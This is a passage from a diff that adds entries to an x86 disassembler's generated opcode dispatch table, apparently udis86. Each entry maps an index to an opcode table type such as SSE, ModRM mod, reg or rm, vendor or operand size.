"/sse" }, + /* 107 */ { ud_itab__107, UD_TAB__OPC_SSE, "/sse" }, + /* 108 */ { ud_itab__108, UD_TAB__OPC_MOD, "/mod" }, + /* 109 */ { ud_itab__109, UD_TAB__OPC_SSE, "/sse" }, + /* 110 */ { ud_itab__110, UD_TAB__OPC_MOD, "/mod" }, + /* 111 */ { ud_itab__111, UD_TAB__OPC_MOD, "/mod" }, + /* 112 */ { ud_itab__112, UD_TAB__OPC_MOD, "/mod" }, + /* 113 */ { ud_itab__113, UD_TAB__OPC_MOD, "/mod" }, + /* 114 */ { ud_itab__114, UD_TAB__OPC_SSE, "/sse" }, + /* 115 */ { ud_itab__115, UD_TAB__OPC_MOD, "/mod" }, + /* 116 */ { ud_itab__116, UD_TAB__OPC_MOD, "/mod" }, + /* 117 */ { ud_itab__117, UD_TAB__OPC_MOD, "/mod" }, + /* 118 */ { ud_itab__118, UD_TAB__OPC_SSE, "/sse" }, + /* 119 */ { ud_itab__119, UD_TAB__OPC_SSE, "/sse" }, + /* 120 */ { ud_itab__120, UD_TAB__OPC_SSE, "/sse" }, + /* 121 */ { ud_itab__121, UD_TAB__OPC_MOD, "/mod" }, + /* 122 */ { ud_itab__122, UD_TAB__OPC_SSE, "/sse" }, + /* 123 */ { ud_itab__123, UD_TAB__OPC_MOD, "/mod" }, + /* 124 */ { ud_itab__124, UD_TAB__OPC_MOD, "/mod" }, + /* 125 */ { ud_itab__125, UD_TAB__OPC_MOD, "/mod" }, + /* 126 */ { ud_itab__126, UD_TAB__OPC_SSE, "/sse" }, + /* 127 */ { ud_itab__127, UD_TAB__OPC_MOD, "/mod" }, + /* 128 */ { ud_itab__128, UD_TAB__OPC_MOD, "/mod" }, + /* 129 */ { ud_itab__129, UD_TAB__OPC_SSE, "/sse" }, + /* 130 */ { ud_itab__130, UD_TAB__OPC_REG, "/reg" }, + /* 131 */ { ud_itab__131, UD_TAB__OPC_SSE, "/sse" }, + /* 132 */ { ud_itab__132, UD_TAB__OPC_SSE, "/sse" }, + /* 133 */ { ud_itab__133, UD_TAB__OPC_SSE, "/sse" }, + /* 134 */ { ud_itab__134, UD_TAB__OPC_SSE, "/sse" }, + /* 135 */ { ud_itab__135, UD_TAB__OPC_SSE, "/sse" }, + /* 136 */ { ud_itab__136, UD_TAB__OPC_SSE, "/sse" }, + /* 137 */ { ud_itab__137, UD_TAB__OPC_SSE, "/sse" }, + /* 138 */ { ud_itab__138, UD_TAB__OPC_SSE, "/sse" }, + /* 139 */ { ud_itab__139, UD_TAB__OPC_SSE, "/sse" }, + /* 140 */ { ud_itab__140, UD_TAB__OPC_SSE, "/sse" }, + /* 141 */ { ud_itab__141, UD_TAB__OPC_SSE, "/sse" }, + /* 142 */ { ud_itab__142, UD_TAB__OPC_SSE, "/sse" }, + /* 143 */ { ud_itab__143, UD_TAB__OPC_SSE, "/sse" }, + /* 144 */ { ud_itab__144, UD_TAB__OPC_SSE, "/sse" }, + /* 145 */ { ud_itab__145, UD_TAB__OPC_SSE, "/sse" }, + /* 146 */ { ud_itab__146, UD_TAB__OPC_SSE, "/sse" }, + /* 147 */ { ud_itab__147, UD_TAB__OPC_SSE, "/sse" }, + /* 148 */ { ud_itab__148, UD_TAB__OPC_SSE, "/sse" }, + /* 149 */ { ud_itab__149, UD_TAB__OPC_SSE, "/sse" }, + /* 150 */ { ud_itab__150, UD_TAB__OPC_SSE, "/sse" }, + /* 151 */ { ud_itab__151, UD_TAB__OPC_SSE, "/sse" }, + /* 152 */ { ud_itab__152, UD_TAB__OPC_SSE, "/sse" }, + /* 153 */ { ud_itab__153, UD_TAB__OPC_SSE, "/sse" }, + /* 154 */ { ud_itab__154, UD_TAB__OPC_SSE, "/sse" }, + /* 155 */ { ud_itab__155, UD_TAB__OPC_SSE, "/sse" }, + /* 156 */ { ud_itab__156, UD_TAB__OPC_SSE, "/sse" }, + /* 157 */ { ud_itab__157, UD_TAB__OPC_SSE, "/sse" }, + /* 158 */ { ud_itab__158, UD_TAB__OPC_SSE, "/sse" }, + /* 159 */ { ud_itab__159, UD_TAB__OPC_MODE, "/m" }, + /* 160 */ { ud_itab__160, UD_TAB__OPC_VENDOR, "intel" }, + /* 161 */ { ud_itab__161, UD_TAB__OPC_SSE, "/sse" }, + /* 162 */ { ud_itab__162, UD_TAB__OPC_MODE, "/m" }, + /* 163 */ { ud_itab__163, UD_TAB__OPC_VENDOR, "intel" }, + /* 164 */ { ud_itab__164, UD_TAB__OPC_SSE, "/sse" }, + /* 165 */ { ud_itab__165, UD_TAB__OPC_TABLE, "38" }, + /* 166 */ { ud_itab__166, UD_TAB__OPC_SSE, "/sse" }, + /* 167 */ { ud_itab__167, UD_TAB__OPC_SSE, "/sse" }, + /* 168 */ { ud_itab__168, UD_TAB__OPC_SSE, "/sse" }, + /* 169 */ { ud_itab__169, UD_TAB__OPC_SSE, "/sse" }, + /* 170 */ { ud_itab__170, UD_TAB__OPC_SSE, "/sse" }, + /* 171 */ { ud_itab__171, UD_TAB__OPC_SSE, "/sse" }, + /* 172 */ { ud_itab__172, UD_TAB__OPC_SSE, "/sse" }, + /* 173 */ { ud_itab__173, UD_TAB__OPC_SSE, "/sse" }, + /* 174 */ { ud_itab__174, UD_TAB__OPC_SSE, "/sse" }, + /* 175 */ { ud_itab__175, UD_TAB__OPC_SSE, "/sse" }, + /* 176 */ { ud_itab__176, UD_TAB__OPC_SSE, "/sse" }, + /* 177 */ { ud_itab__177, UD_TAB__OPC_SSE, "/sse" }, + /* 178 */ { ud_itab__178, UD_TAB__OPC_SSE, "/sse" }, + /* 179 */ { ud_itab__179, UD_TAB__OPC_SSE, "/sse" }, + /* 180 */ { ud_itab__180, UD_TAB__OPC_SSE, "/sse" }, + /* 181 */ { ud_itab__181, UD_TAB__OPC_SSE, "/sse" }, + /* 182 */ { ud_itab__182, UD_TAB__OPC_SSE, "/sse" }, + /* 183 */ { ud_itab__183, UD_TAB__OPC_SSE, "/sse" }, + /* 184 */ { ud_itab__184, UD_TAB__OPC_SSE, "/sse" }, + /* 185 */ { ud_itab__185, UD_TAB__OPC_SSE, "/sse" }, + /* 186 */ { ud_itab__186, UD_TAB__OPC_SSE, "/sse" }, + /* 187 */ { ud_itab__187, UD_TAB__OPC_SSE, "/sse" }, + /* 188 */ { ud_itab__188, UD_TAB__OPC_SSE, "/sse" }, + /* 189 */ { ud_itab__189, UD_TAB__OPC_SSE, "/sse" }, + /* 190 */ { ud_itab__190, UD_TAB__OPC_SSE, "/sse" }, + /* 191 */ { ud_itab__191, UD_TAB__OPC_SSE, "/sse" }, + /* 192 */ { ud_itab__192, UD_TAB__OPC_SSE, "/sse" }, + /* 193 */ { ud_itab__193, UD_TAB__OPC_SSE, "/sse" }, + /* 194 */ { ud_itab__194, UD_TAB__OPC_SSE, "/sse" }, + /* 195 */ { ud_itab__195, UD_TAB__OPC_SSE, "/sse" }, + /* 196 */ { ud_itab__196, UD_TAB__OPC_SSE, "/sse" }, + /* 197 */ { ud_itab__197, UD_TAB__OPC_SSE, "/sse" }, + /* 198 */ { ud_itab__198, UD_TAB__OPC_SSE, "/sse" }, + /* 199 */ { ud_itab__199, UD_TAB__OPC_SSE, "/sse" }, + /* 200 */ { ud_itab__200, UD_TAB__OPC_SSE, "/sse" }, + /* 201 */ { ud_itab__201, UD_TAB__OPC_SSE, "/sse" }, + /* 202 */ { ud_itab__202, UD_TAB__OPC_SSE, "/sse" }, + /* 203 */ { ud_itab__203, UD_TAB__OPC_SSE, "/sse" }, + /* 204 */ { ud_itab__204, UD_TAB__OPC_SSE, "/sse" }, + /* 205 */ { ud_itab__205, UD_TAB__OPC_SSE, "/sse" }, + /* 206 */ { ud_itab__206, UD_TAB__OPC_SSE, "/sse" }, + /* 207 */ { ud_itab__207, UD_TAB__OPC_SSE, "/sse" }, + /* 208 */ { ud_itab__208, UD_TAB__OPC_SSE, "/sse" }, + /* 209 */ { ud_itab__209, UD_TAB__OPC_SSE, "/sse" }, + /* 210 */ { ud_itab__210, UD_TAB__OPC_SSE, "/sse" }, + /* 211 */ { ud_itab__211, UD_TAB__OPC_SSE, "/sse" }, + /* 212 */ { ud_itab__212, UD_TAB__OPC_SSE, "/sse" }, + /* 213 */ { ud_itab__213, UD_TAB__OPC_MODE, "/m" }, + /* 214 */ { ud_itab__214, UD_TAB__OPC_VENDOR, "intel" }, + /* 215 */ { ud_itab__215, UD_TAB__OPC_SSE, "/sse" }, + /* 216 */ { ud_itab__216, UD_TAB__OPC_MODE, "/m" }, + /* 217 */ { ud_itab__217, UD_TAB__OPC_VENDOR, "intel" }, + /* 218 */ { ud_itab__218, UD_TAB__OPC_SSE, "/sse" }, + /* 219 */ { ud_itab__219, UD_TAB__OPC_SSE, "/sse" }, + /* 220 */ { ud_itab__220, UD_TAB__OPC_SSE, "/sse" }, + /* 221 */ { ud_itab__221, UD_TAB__OPC_SSE, "/sse" }, + /* 222 */ { ud_itab__222, UD_TAB__OPC_SSE, "/sse" }, + /* 223 */ { ud_itab__223, UD_TAB__OPC_SSE, "/sse" }, + /* 224 */ { ud_itab__224, UD_TAB__OPC_SSE, "/sse" }, + /* 225 */ { ud_itab__225, UD_TAB__OPC_TABLE, "3a" }, + /* 226 */ { ud_itab__226, UD_TAB__OPC_SSE, "/sse" }, + /* 227 */ { ud_itab__227, UD_TAB__OPC_SSE, "/sse" }, + /* 228 */ { ud_itab__228, UD_TAB__OPC_SSE, "/sse" }, + /* 229 */ { ud_itab__229, UD_TAB__OPC_SSE, "/sse" }, + /* 230 */ { ud_itab__230, UD_TAB__OPC_SSE, "/sse" }, + /* 231 */ { ud_itab__231, UD_TAB__OPC_SSE, "/sse" }, + /* 232 */ { ud_itab__232, UD_TAB__OPC_SSE, "/sse" }, + /* 233 */ { ud_itab__233, UD_TAB__OPC_SSE, "/sse" }, + /* 234 */ { ud_itab__234, UD_TAB__OPC_SSE, "/sse" }, + /* 235 */ { ud_itab__235, UD_TAB__OPC_SSE, "/sse" }, + /* 236 */ { ud_itab__236, UD_TAB__OPC_SSE, "/sse" }, + /* 237 */ { ud_itab__237, UD_TAB__OPC_OSIZE, "/o" }, + /* 238 */ { ud_itab__238, UD_TAB__OPC_SSE, "/sse" }, + /* 239 */ { ud_itab__239, UD_TAB__OPC_SSE, "/sse" }, + /* 240 */ { ud_itab__240, UD_TAB__OPC_SSE, "/sse" }, + /* 241 */ { ud_itab__241, UD_TAB__OPC_SSE, "/sse" }, + /* 242 */ { ud_itab__242, UD_TAB__OPC_OSIZE, "/o" }, + /* 243 */ { ud_itab__243, UD_TAB__OPC_SSE, "/sse" }, + /* 244 */ { ud_itab__244, UD_TAB__OPC_SSE, "/sse" }, + /* 245 */ { ud_itab__245, UD_TAB__OPC_SSE, "/sse" }, + /* 246 */ { ud_itab__246, UD_TAB__OPC_SSE, "/sse" }, + /* 247 */ { ud_itab__247, UD_TAB__OPC_SSE, "/sse" }, + /* 248 */ { ud_itab__248, UD_TAB__OPC_SSE, "/sse" }, + /* 249 */ { ud_itab__249, UD_TAB__OPC_SSE, "/sse" }, + /* 250 */ { ud_itab__250, UD_TAB__OPC_SSE, "/sse" }, + /* 251 */ { ud_itab__251, UD_TAB__OPC_SSE, "/sse" }, + /* 252 */ { ud_itab__252, UD_TAB__OPC_SSE, "/sse" }, + /* 253 */ { ud_itab__253, UD_TAB__OPC_SSE, "/sse" }, + /* 254 */ { ud_itab__254, UD_TAB__OPC_SSE, "/sse" }, + /* 255 */ { ud_itab__255, UD_TAB__OPC_SSE, "/sse" }, + /* 256 */ { ud_itab__256, UD_TAB__OPC_SSE, "/sse" }, + /* 257 */ { ud_itab__257, UD_TAB__OPC_SSE, "/sse" }, + /* 258 */ { ud_itab__258, UD_TAB__OPC_SSE, "/sse" }, + /* 259 */ { ud_itab__259, UD_TAB__OPC_SSE, "/sse" }, + /* 260 */ { ud_itab__260, UD_TAB__OPC_SSE, "/sse" }, + /* 261 */ { ud_itab__261, UD_TAB__OPC_SSE, "/sse" }, + /* 262 */ { ud_itab__262, UD_TAB__OPC_SSE, "/sse" }, + /* 263 */ { ud_itab__263, UD_TAB__OPC_SSE, "/sse" }, + /* 264 */ { ud_itab__264, UD_TAB__OPC_SSE, "/sse" }, + /* 265 */ { ud_itab__265, UD_TAB__OPC_SSE, "/sse" }, + /* 266 */ { ud_itab__266, UD_TAB__OPC_SSE, "/sse" }, + /* 267 */ { ud_itab__267, UD_TAB__OPC_SSE, "/sse" }, + /* 268 */ { ud_itab__268, UD_TAB__OPC_SSE, "/sse" }, + /* 269 */ { ud_itab__269, UD_TAB__OPC_SSE, "/sse" }, + /* 270 */ { ud_itab__270, UD_TAB__OPC_SSE, "/sse" }, + /* 271 */ { ud_itab__271, UD_TAB__OPC_SSE, "/sse" }, + /* 272 */ { ud_itab__272, UD_TAB__OPC_SSE, "/sse" }, + /* 273 */ { ud_itab__273, UD_TAB__OPC_SSE, "/sse" }, + /* 274 */ { ud_itab__274, UD_TAB__OPC_SSE, "/sse" }, + /* 275 */ { ud_itab__275, UD_TAB__OPC_SSE, "/sse" }, + /* 276 */ { ud_itab__276, UD_TAB__OPC_SSE, "/sse" }, + /* 277 */ { ud_itab__277, UD_TAB__OPC_SSE, "/sse" }, + /* 278 */ { ud_itab__278, UD_TAB__OPC_SSE, "/sse" }, + /* 279 */ { ud_itab__279, UD_TAB__OPC_SSE, "/sse" }, + /* 280 */ { ud_itab__280, UD_TAB__OPC_SSE, "/sse" }, + /* 281 */ { ud_itab__281, UD_TAB__OPC_SSE, "/sse" }, + /* 282 */ { ud_itab__282, UD_TAB__OPC_SSE, "/sse" }, + /* 283 */ { ud_itab__283, UD_TAB__OPC_SSE, "/sse" }, + /* 284 */ { ud_itab__284, UD_TAB__OPC_SSE, "/sse" }, + /* 285 */ { ud_itab__285, UD_TAB__OPC_SSE, "/sse" }, + /* 286 */ { ud_itab__286, UD_TAB__OPC_SSE, "/sse" }, + /* 287 */ { ud_itab__287, UD_TAB__OPC_SSE, "/sse" }, + /* 288 */ { ud_itab__288, UD_TAB__OPC_SSE, "/sse" }, + /* 289 */ { ud_itab__289, UD_TAB__OPC_SSE, "/sse" }, + /* 290 */ { ud_itab__290, UD_TAB__OPC_SSE, "/sse" }, + /* 291 */ { ud_itab__291, UD_TAB__OPC_SSE, "/sse" }, + /* 292 */ { ud_itab__292, UD_TAB__OPC_SSE, "/sse" }, + /* 293 */ { ud_itab__293, UD_TAB__OPC_SSE, "/sse" }, + /* 294 */ { ud_itab__294, UD_TAB__OPC_SSE, "/sse" }, + /* 295 */ { ud_itab__295, UD_TAB__OPC_SSE, "/sse" }, + /* 296 */ { ud_itab__296, UD_TAB__OPC_SSE, "/sse" }, + /* 297 */ { ud_itab__297, UD_TAB__OPC_SSE, "/sse" }, + /* 298 */ { ud_itab__298, UD_TAB__OPC_SSE, "/sse" }, + /* 299 */ { ud_itab__299, UD_TAB__OPC_SSE, "/sse" }, + /* 300 */ { ud_itab__300, UD_TAB__OPC_SSE, "/sse" }, + /* 301 */ { ud_itab__301, UD_TAB__OPC_REG, "/reg" }, + /* 302 */ { ud_itab__302, UD_TAB__OPC_SSE, "/sse" }, + /* 303 */ { ud_itab__303, UD_TAB__OPC_SSE, "/sse" }, + /* 304 */ { ud_itab__304, UD_TAB__OPC_SSE, "/sse" }, + /* 305 */ { ud_itab__305, UD_TAB__OPC_REG, "/reg" }, + /* 306 */ { ud_itab__306, UD_TAB__OPC_SSE, "/sse" }, + /* 307 */ { ud_itab__307, UD_TAB__OPC_SSE, "/sse" }, + /* 308 */ { ud_itab__308, UD_TAB__OPC_SSE, "/sse" }, + /* 309 */ { ud_itab__309, UD_TAB__OPC_REG, "/reg" }, + /* 310 */ { ud_itab__310, UD_TAB__OPC_SSE, "/sse" }, + /* 311 */ { ud_itab__311, UD_TAB__OPC_SSE, "/sse" }, + /* 312 */ { ud_itab__312, UD_TAB__OPC_SSE, "/sse" }, + /* 313 */ { ud_itab__313, UD_TAB__OPC_SSE, "/sse" }, + /* 314 */ { ud_itab__314, UD_TAB__OPC_SSE, "/sse" }, + /* 315 */ { ud_itab__315, UD_TAB__OPC_SSE, "/sse" }, + /* 316 */ { ud_itab__316, UD_TAB__OPC_SSE, "/sse" }, + /* 317 */ { ud_itab__317, UD_TAB__OPC_SSE, "/sse" }, + /* 318 */ { ud_itab__318, UD_TAB__OPC_SSE, "/sse" }, + /* 319 */ { ud_itab__319, UD_TAB__OPC_VENDOR, "intel" }, + /* 320 */ { ud_itab__320, UD_TAB__OPC_SSE, "/sse" }, + /* 321 */ { ud_itab__321, UD_TAB__OPC_VENDOR, "intel" }, + /* 322 */ { ud_itab__322, UD_TAB__OPC_SSE, "/sse" }, + /* 323 */ { ud_itab__323, UD_TAB__OPC_SSE, "/sse" }, + /* 324 */ { ud_itab__324, UD_TAB__OPC_SSE, "/sse" }, + /* 325 */ { ud_itab__325, UD_TAB__OPC_SSE, "/sse" }, + /* 326 */ { ud_itab__326, UD_TAB__OPC_SSE, "/sse" }, + /* 327 */ { ud_itab__327, UD_TAB__OPC_SSE, "/sse" }, + /* 328 */ { ud_itab__328, UD_TAB__OPC_SSE, "/sse" }, + /* 329 */ { ud_itab__329, UD_TAB__OPC_SSE, "/sse" }, + /* 330 */ { ud_itab__330, UD_TAB__OPC_SSE, "/sse" }, + /* 331 */ { ud_itab__331, UD_TAB__OPC_SSE, "/sse" }, + /* 332 */ { ud_itab__332, UD_TAB__OPC_SSE, "/sse" }, + /* 333 */ { ud_itab__333, UD_TAB__OPC_SSE, "/sse" }, + /* 334 */ { ud_itab__334, UD_TAB__OPC_SSE, "/sse" }, + /* 335 */ { ud_itab__335, UD_TAB__OPC_SSE, "/sse" }, + /* 336 */ { ud_itab__336, UD_TAB__OPC_SSE, "/sse" }, + /* 337 */ { ud_itab__337, UD_TAB__OPC_SSE, "/sse" }, + /* 338 */ { ud_itab__338, UD_TAB__OPC_SSE, "/sse" }, + /* 339 */ { ud_itab__339, UD_TAB__OPC_SSE, "/sse" }, + /* 340 */ { ud_itab__340, UD_TAB__OPC_SSE, "/sse" }, + /* 341 */ { ud_itab__341, UD_TAB__OPC_SSE, "/sse" }, + /* 342 */ { ud_itab__342, UD_TAB__OPC_SSE, "/sse" }, + /* 343 */ { ud_itab__343, UD_TAB__OPC_SSE, "/sse" }, + /* 344 */ { ud_itab__344, UD_TAB__OPC_SSE, "/sse" }, + /* 345 */ { ud_itab__345, UD_TAB__OPC_SSE, "/sse" }, + /* 346 */ { ud_itab__346, UD_TAB__OPC_SSE, "/sse" }, + /* 347 */ { ud_itab__347, UD_TAB__OPC_SSE, "/sse" }, + /* 348 */ { ud_itab__348, UD_TAB__OPC_SSE, "/sse" }, + /* 349 */ { ud_itab__349, UD_TAB__OPC_SSE, "/sse" }, + /* 350 */ { ud_itab__350, UD_TAB__OPC_SSE, "/sse" }, + /* 351 */ { ud_itab__351, UD_TAB__OPC_SSE, "/sse" }, + /* 352 */ { ud_itab__352, UD_TAB__OPC_SSE, "/sse" }, + /* 353 */ { ud_itab__353, UD_TAB__OPC_SSE, "/sse" }, + /* 354 */ { ud_itab__354, UD_TAB__OPC_SSE, "/sse" }, + /* 355 */ { ud_itab__355, UD_TAB__OPC_SSE, "/sse" }, + /* 356 */ { ud_itab__356, UD_TAB__OPC_SSE, "/sse" }, + /* 357 */ { ud_itab__357, UD_TAB__OPC_SSE, "/sse" }, + /* 358 */ { ud_itab__358, UD_TAB__OPC_SSE, "/sse" }, + /* 359 */ { ud_itab__359, UD_TAB__OPC_SSE, "/sse" }, + /* 360 */ { ud_itab__360, UD_TAB__OPC_SSE, "/sse" }, + /* 361 */ { ud_itab__361, UD_TAB__OPC_SSE, "/sse" }, + /* 362 */ { ud_itab__362, UD_TAB__OPC_SSE, "/sse" }, + /* 363 */ { ud_itab__363, UD_TAB__OPC_SSE, "/sse" }, + /* 364 */ { ud_itab__364, UD_TAB__OPC_MOD, "/mod" }, + /* 365 */ { ud_itab__365, UD_TAB__OPC_REG, "/reg" }, + /* 366 */ { ud_itab__366, UD_TAB__OPC_RM, "/rm" }, + /* 367 */ { ud_itab__367, UD_TAB__OPC_SSE, "/sse" }, + /* 368 */ { ud_itab__368, UD_TAB__OPC_MOD, "/mod" }, + /* 369 */ { ud_itab__369, UD_TAB__OPC_RM, "/rm" }, + /* 370 */ { ud_itab__370, UD_TAB__OPC_SSE, "/sse" }, + /* 371 */ { ud_itab__371, UD_TAB__OPC_MOD, "/mod" }, + /* 372 */ { ud_itab__372, UD_TAB__OPC_RM, "/rm" }, + /* 373 */ { ud_itab__373, UD_TAB__OPC_SSE, "/sse" }, + /* 374 */ { ud_itab__374, UD_TAB__OPC_MOD, "/mod" }, + /* 375 */ { ud_itab__375, UD_TAB__OPC_MOD, "/mod" }, + /* 376 */ { ud_itab__376, UD_TAB__OPC_REG, "/reg" }, + /* 377 */ { ud_itab__377, UD_TAB__OPC_RM, "/rm" }, + /* 378 */ { ud_itab__378, UD_TAB__OPC_SSE, "/sse" }, + /* 379 */ { ud_itab__379, UD_TAB__OPC_MOD, "/mod" }, + /* 380 */ { ud_itab__380, UD_TAB__OPC_RM, "/rm" }, + /* 381 */ { ud_itab__381, UD_TAB__OPC_SSE, "/sse" }, + /* 382 */ { ud_itab__382, UD_TAB__OPC_MOD, "/mod" }, + /* 383 */ { ud_itab__383, UD_TAB__OPC_RM, "/rm" }, + /* 384 */ { ud_itab__384, UD_TAB__OPC_SSE, "/sse" }, + /* 385 */ { ud_itab__385, UD_TAB__OPC_MOD, "/mod" }, + /* 386 */ { ud_itab__386, UD_TAB__OPC_RM, "/rm" }, + /* 387 */ { ud_itab__387, UD_TAB__OPC_SSE, "/sse" }, + /* 388 */ { ud_itab__388, UD_TAB__OPC_MOD, "/mod" }, + /* 389 */ { ud_itab__389, UD_TAB__OPC_RM, "/rm" }, + /* 390 */ { ud_itab__390, UD_TAB__OPC_SSE, "/sse" }, + /* 391 */ { ud_itab__391, UD_TAB__OPC_MOD, "/mod" }, + /* 392 */ { ud_itab__392, UD_TAB__OPC_RM, "/rm" }, + /* 393 */ { ud_itab__393, UD_TAB__OPC_SSE, "/sse" }, + /* 394 */ { ud_itab__394, UD_TAB__OPC_MOD, "/mod" }, + /* 395 */ { ud_itab__395, UD_TAB__OPC_SSE, "/sse" }, + /* 396 */ { ud_itab__396, UD_TAB__OPC_SSE, "/sse" }, + /* 397 */ { ud_itab__397, UD_TAB__OPC_SSE, "/sse" }, + /* 398 */ { ud_itab__398, UD_TAB__OPC_SSE, "/sse" }, + /* 399 */ { ud_itab__399, UD_TAB__OPC_SSE, "/sse" }, + /* 400 */ { ud_itab__400, UD_TAB__OPC_SSE, "/sse" }, + /* 401 */ { ud_itab__401, UD_TAB__OPC_MOD, "/mod" }, + /* 402 */ { ud_itab__402, UD_TAB__OPC_REG, "/reg" }, + /* 403 */ { ud_itab__403, UD_TAB__OPC_SSE, "/sse" }, + /* 404 */ { ud_itab__404, UD_TAB__OPC_MOD, "/mod" }, + /* 405 */ { ud_itab__405, UD_TAB__OPC_SSE, "/sse" }, + /* 406 */ { ud_itab__406, UD_TAB__OPC_MOD, "/mod" }, + /* 407 */ { ud_itab__407, UD_TAB__OPC_SSE, "/sse" }, + /* 408 */ { ud_itab__408, UD_TAB__OPC_MOD, "/mod" }, + /* 409 */ { ud_itab__409, UD_TAB__OPC_SSE, "/sse" }, + /* 410 */ { ud_itab__410, UD_TAB__OPC_MOD, "/mod" }, + /* 411 */ { ud_itab__411, UD_TAB__OPC_SSE, "/sse" }, + /* 412 */ { ud_itab__412, UD_TAB__OPC_MOD, "/mod" }, + /* 413 */ { ud_itab__413, UD_TAB__OPC_SSE, "/sse" }, + /* 414 */ { ud_itab__414, UD_TAB__OPC_MOD, "/mod" }, + /* 415 */ { ud_itab__415, UD_TAB__OPC_SSE, "/sse" }, + /* 416 */ { ud_itab__416, UD_TAB__OPC_MOD, "/mod" }, + /* 417 */ { ud_itab__417, UD_TAB__OPC_REG, "/reg" }, + /* 418 */ { ud_itab__418, UD_TAB__OPC_RM, "/rm" }, + /* 419 */ { ud_itab__419, UD_TAB__OPC_SSE, "/sse" }, + /* 420 */ { ud_itab__420, UD_TAB__OPC_MOD, "/mod" }, + /* 421 */ { ud_itab__421, UD_TAB__OPC_SSE, "/sse" }, + /* 422 */ { ud_itab__422, UD_TAB__OPC_MOD, "/mod" }, + /* 423 */ { ud_itab__423, UD_TAB__OPC_SSE, "/sse" }, + /* 424 */ { ud_itab__424, UD_TAB__OPC_MOD, "/mod" }, + /* 425 */ { ud_itab__425, UD_TAB__OPC_SSE, "/sse" }, + /* 426 */ { ud_itab__426, UD_TAB__OPC_MOD, "/mod" }, + /* 427 */ { ud_itab__427, UD_TAB__OPC_SSE, "/sse" }, + /* 428 */ { ud_itab__428, UD_TAB__OPC_MOD, "/mod" }, + /* 429 */ { ud_itab__429, UD_TAB__OPC_SSE, "/sse" }, + /* 430 */ { ud_itab__430, UD_TAB__OPC_MOD, "/mod" }, + /* 431 */ { ud_itab__431, UD_TAB__OPC_SSE, "/sse" }, + /* 432 */ { ud_itab__432, UD_TAB__OPC_MOD, "/mod" }, + /* 433 */ { ud_itab__433, UD_TAB__OPC_SSE, "/sse" }, + /* 434 */ { ud_itab__434, UD_TAB__OPC_MOD, "/mod" }, + /* 435 */ { ud_itab__435, UD_TAB__OPC_RM, "/rm" }, + /* 436 */ { ud_itab__436, UD_TAB__OPC_SSE, "/sse" }, + /* 437 */ { ud_itab__437, UD_TAB__OPC_MOD, "/mod" }, + /* 438 */ { ud_itab__438, UD_TAB__OPC_SSE, "/sse" }, + /* 439 */ { ud_itab__439, UD_TAB__OPC_MOD, "/mod" }, + /* 440 */ { ud_itab__440, UD_TAB__OPC_SSE, "/sse" }, + /* 441 */ { ud_itab__441, UD_TAB__OPC_MOD, "/mod" }, + /* 442 */ { ud_itab__442, UD_TAB__OPC_SSE, "/sse" }, + /* 443 */ { ud_itab__443, UD_TAB__OPC_MOD, "/mod" }, + /* 444 */ { ud_itab__444, UD_TAB__OPC_SSE, "/sse" }, + /* 445 */ { ud_itab__445, UD_TAB__OPC_MOD, "/mod" }, + /* 446 */ { ud_itab__446, UD_TAB__OPC_SSE, "/sse" }, + /* 447 */ { ud_itab__447, UD_TAB__OPC_MOD, "/mod" }, + /* 448 */ { ud_itab__448, UD_TAB__OPC_SSE, "/sse" }, + /* 449 */ { ud_itab__449, UD_TAB__OPC_MOD, "/mod" }, + /* 450 */ { ud_itab__450, UD_TAB__OPC_SSE, "/sse" }, + /* 451 */ { ud_itab__451, UD_TAB__OPC_MOD, "/mod" }, + /* 452 */ { ud_itab__452, UD_TAB__OPC_RM, "/rm" }, + /* 453 */ { ud_itab__453, UD_TAB__OPC_SSE, "/sse" }, + /* 454 */ { ud_itab__454, UD_TAB__OPC_MOD, "/mod" }, + /* 455 */ { ud_itab__455, UD_TAB__OPC_SSE, "/sse" }, + /* 456 */ { ud_itab__456, UD_TAB__OPC_MOD, "/mod" }, + /* 457 */ { ud_itab__457, UD_TAB__OPC_SSE, "/sse" }, + /* 458 */ { ud_itab__458, UD_TAB__OPC_MOD, "/mod" }, + /* 459 */ { ud_itab__459, UD_TAB__OPC_SSE, "/sse" }, + /* 460 */ { ud_itab__460, UD_TAB__OPC_MOD, "/mod" }, + /* 461 */ { ud_itab__461, UD_TAB__OPC_SSE, "/sse" }, + /* 462 */ { ud_itab__462, UD_TAB__OPC_MOD, "/mod" }, + /* 463 */ { ud_itab__463, UD_TAB__OPC_SSE, "/sse" }, + /* 464 */ { ud_itab__464, UD_TAB__OPC_MOD, "/mod" }, + /* 465 */ { ud_itab__465, UD_TAB__OPC_SSE, "/sse" }, + /* 466 */ { ud_itab__466, UD_TAB__OPC_MOD, "/mod" }, + /* 467 */ { ud_itab__467, UD_TAB__OPC_SSE, "/sse" }, + /* 468 */ { ud_itab__468, UD_TAB__OPC_MOD, "/mod" }, + /* 469 */ { ud_itab__469, UD_TAB__OPC_SSE, "/sse" }, + /* 470 */ { ud_itab__470, UD_TAB__OPC_SSE, "/sse" }, + /* 471 */ { ud_itab__471, UD_TAB__OPC_SSE, "/sse" }, + /* 472 */ { ud_itab__472, UD_TAB__OPC_SSE, "/sse" }, + /* 473 */ { ud_itab__473, UD_TAB__OPC_SSE, "/sse" }, + /* 474 */ { ud_itab__474, UD_TAB__OPC_SSE, "/sse" }, + /* 475 */ { ud_itab__475, UD_TAB__OPC_SSE, "/sse" }, + /* 476 */ { ud_itab__476, UD_TAB__OPC_SSE, "/sse" }, + /* 477 */ { ud_itab__477, UD_TAB__OPC_SSE, "/sse" }, + /* 478 */ { ud_itab__478, UD_TAB__OPC_SSE, "/sse" }, + /* 479 */ { ud_itab__479, UD_TAB__OPC_REG, "/reg" }, + /* 480 */ { ud_itab__480, UD_TAB__OPC_SSE, "/sse" }, + /* 481 */ { ud_itab__481, UD_TAB__OPC_SSE, "/sse" }, + /* 482 */ { ud_itab__482, UD_TAB__OPC_SSE, "/sse" }, + /* 483 */ { ud_itab__483, UD_TAB__OPC_SSE, "/sse" }, + /* 484 */ { ud_itab__484, UD_TAB__OPC_SSE, "/sse" }, + /* 485 */ { ud_itab__485, UD_TAB__OPC_SSE, "/sse" }, + /* 486 */ { ud_itab__486, UD_TAB__OPC_SSE, "/sse" }, + /* 487 */ { ud_itab__487, UD_TAB__OPC_SSE, "/sse" }, + /* 488 */ { ud_itab__488, UD_TAB__OPC_SSE, "/sse" }, + /* 489 */ { ud_itab__489, UD_TAB__OPC_SSE, "/sse" }, + /* 490 */ { ud_itab__490, UD_TAB__OPC_SSE, "/sse" }, + /* 491 */ { ud_itab__491, UD_TAB__OPC_SSE, 